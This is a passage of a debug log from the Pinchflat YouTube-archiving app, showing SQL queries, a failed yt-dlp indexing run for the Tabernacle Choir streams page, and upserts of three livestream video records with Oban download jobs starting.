m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:37.534 [debug] QUERY OK source="media_items" db=0.5ms idle=9.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102576] 11:00:37.534 [info] Kicking off download for media item #102576 (mxh_kSXFWpg) 11:00:37.536 [debug] Current batch of media processed. Will check again in 1000ms 11:00:38.338 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@thetabernaclechoir/streams --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/tabernacle choir/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/8c/58/8c586b73e8a93be9528540c56e56af78e9c4efe8943eddb1f0b9358eb795833c.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/c0/c5c038a42ba7b1d4f11332b90d3b935c01bcd62ebf75205098e951523e0b12d9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 11:00:38.339 [debug] Gracefully stopping file follower 11:00:38.339 [debug] QUERY OK source="sources" db=0.4ms idle=808.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:38.340 [debug] QUERY OK source="sources" db=0.3ms idle=807.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:38.342 [debug] QUERY OK source="media_items" db=2.1ms idle=807.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:58:44Z], 1] 11:00:38.345 [debug] QUERY OK source="media_items" db=1.7ms idle=809.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "acf4c715-ef48-47bc-938c-a19ef9d34c9a", "opR_Tg1uLjc", true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", 1, "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, false, false, [], 96, ~U[2025-12-08 16:58:44Z], ~U[2025-12-14 18:00:38Z], ~U[2025-12-14 18:00:38Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "opR_Tg1uLjc", nil, true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, ~U[2025-12-08 16:58:44Z]] 11:00:38.346 [debug] QUERY OK source="sources" db=0.3ms idle=809.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:38.348 [debug] QUERY OK source="media_items" db=1.8ms idle=6.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:57:34Z], 1] 11:00:38.378 [debug] QUERY OK source="media_items" db=29.6ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "e1b761cb-77cb-4ab0-b480-e82479178dc8", "mxh_kSXFWpg", true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", 2, "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, false, false, [], 96, ~U[2025-12-08 16:57:34Z], ~U[2025-12-14 18:00:38Z], ~U[2025-12-14 18:00:38Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "mxh_kSXFWpg", nil, true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, ~U[2025-12-08 16:57:34Z]] 11:00:38.379 [debug] QUERY OK source="sources" db=0.4ms idle=34.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:38.382 [debug] QUERY OK source="media_items" db=2.5ms queue=0.1ms idle=33.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:56:11Z], 1] 11:00:38.386 [debug] QUERY OK source="media_items" db=2.6ms idle=34.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "eccae4c8-6cb7-4b8a-b84b-0d004df8f109", "SSBMMeRs_b8", true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", 3, "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, false, false, [], 96, ~U[2025-12-08 16:56:11Z], ~U[2025-12-14 18:00:38Z], ~U[2025-12-14 18:00:38Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/11/26 Music & the Spoken Word | The Tabernacle Choir", "SSBMMeRs_b8", nil, true, 1, "https://www.youtube.com/watch?v=SSBMMeRs_b8", "/downloads/tabernacle choir/2025-12-08 01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸11⧸26 Music & the Spoken Word | The Tabernacle Choir [SSBMMeRs_b8].NA", false, ~U[2025-12-08 16:56:11Z]] 11:00:38.387 [debug] QUERY OK source="sources" db=0.3ms idle=8.3ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-14 18:00:38Z], ~U[2025-12-14 18:00:38Z], 1] 11:00:38.390 [debug] QUERY OK source="media_items" db=3.0ms idle=8.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:38.394 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=8.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2634, 20219, ~U[2025-12-14 18:00:38Z], ~U[2025-12-14 18:00:38Z]] 11:00:38.400 [debug] QUERY OK source="tasks" db=0.5ms idle=5.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2635, 89337, ~U[2025-12-14 18:00:38Z], ~U[2025-12-14 18:00:38Z]] 11:00:38.402 [info] {"args":{"id":20219},"id":2634,"meta":{},"system_time":1765735238402627103,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:38.403 [info] {"args":{"id":89337},"id":2635,"meta":{},"system_time":1765735238402824875,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:38.404 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [20219] 11:00:38.404 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:00:38.405 [debug] QUERY OK source="media_items" db=1.7ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89337] 11:00:38.405 [info] User scripts lifecyle file either not present or is empty. Skipping. 11:00:38.405 [debug] QUERY OK source="sources" db=1.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:38.406 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:38.407 [debug] QUERY OK source="media_profiles" db=0.7ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:38.408 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:38.408 [debug] QUERY OK source="media_items" db=1.1ms idle=1.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [20219] 11:00:38.409 [debug] QUERY OK source="media_items" db=0.9ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89337] 11:00:38.410 [debug] QUERY OK source="media_metadata" db=0.6ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [20219] 11:00:38.411 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:38.412 [debug] QUERY OK source="settings" db=0.5ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.413 [debug] QUERY OK source="settings" db=0.5ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:38.416 [debug] QUERY OK source="media_items" db=3.2ms idle=2.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:38.417 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 11:00:38.420 [debug] QUERY OK source="tasks" db=0.5ms idle=6.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") 